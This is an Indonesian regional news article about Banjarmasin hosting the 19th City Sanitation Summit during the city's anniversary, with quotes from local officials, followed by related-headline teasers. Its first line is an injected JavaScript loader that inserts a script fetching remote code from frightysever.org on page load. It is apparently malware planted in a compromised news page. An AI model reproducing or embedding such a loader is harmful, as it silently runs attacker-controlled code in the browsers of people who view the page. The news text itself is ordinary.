(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Terpilihnya Banjarmasin menjadi tuan rumah ajang City Sanitation Summit ke 19 yang berbarengan dengan Harjad Kota Banjarmasin ke-493, diprediksi akan dihadiri ribuan peserta seluruh Indonesia. Khususnya, pemerintah kabupaten dan kota yang tergabung dalam Aliansi Kabupaten dan Kota Peduli Sanitasi (AKKOPSI).
“Pertama, kan 492 (kabupaten dan kota) yang akan hadir. 115 (undangan) sampai saat ini yang diantar langsung (oleh kita) dan sudah konfirmasi kehadiran. Bahkan kami menerima telepon dari camat (Banjarmasin) Utara, sedang menuju ke Kabupaten Luwuk di Sulawesi. Itu bukti keseriusan kita dalam melaksanakan acara ini,†kata Sekdako Banjarmasin Hamli Kursani, di sela-sela jumpa pers di Rumah Anno Banjarmasin, Rabu (11/9) petang.
Konsep acara sendiri, terdiri dari gala dinner pada 23 September malam di Siring Menara Pandang Banjarmasin. Sementara pada keesokan harinya (24 September), aka nada festival tanglong di sungai yang dikolaborasikan dengan hari jadi Kota Banjarmasin.
“Pada tanggal 24 September di mana peserta mengikuti CSS ke 19, ibu-ibunya kita fasilitasi untuk wisata seperti susur sungai termasuk ke Martapura,†ucap Hamli.
Di kesempatan yang sama, Walikota Banjarmasin H Ibnu Sina mengungkapkan, berkaca dari pengalaman gelaran CSS ke 18 di Jambi pada tahun lalu. “(Kira-kira) 6000-7000an peserta (datang) dari seluruh Indonesia. Karena dari pengalaman di Jambi kemarin kepala daerah memang tidak semua hadir, tapi dinas-dinasnya (pasti) hadir. Kalau di anggota itu akan mengirim, paling tidak kepala dinas. Target kami itu 60-70 persen kepala daerah bisa hadir,†kata Ibnu.
Di sela-sela CSS ke 19 di Banjarmasin nantinya, akan ada gelaran pentas seni budaya. Menurut Ibnu, saat ini beberapa daerah telah mengonfirmasi untuk menampilkan pentas seni budaya. “Yang sudah fix adalah atraksi budaya dari Kota Depok yang akan menyumbangkan budaya lenong. Mereka sudah konfirmasi dan hadir bersama Walikota Depok. Beliau akan membawa misi budayanya dari penampilan lenong. (Nantinya) lenong di atas sungai, tentu ini unik,†kata Ibnu.
Ibnu menambahkan, dari gelaran CSS ke 19 nantinya akan menghasilkan deklarasi Banjarmasin terkait kepedulian terhadap sanitasi dan akan menjadi dokumen terkait kepedulian terhadap sanitasi. “Akan dibawa ke Konferensi Sanitasi Air Minum Nasional (KSAN) yang akan dilaksanakan di Jakarta pada bulan Oktober 2019,†tutup Ibnu. (fikri)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.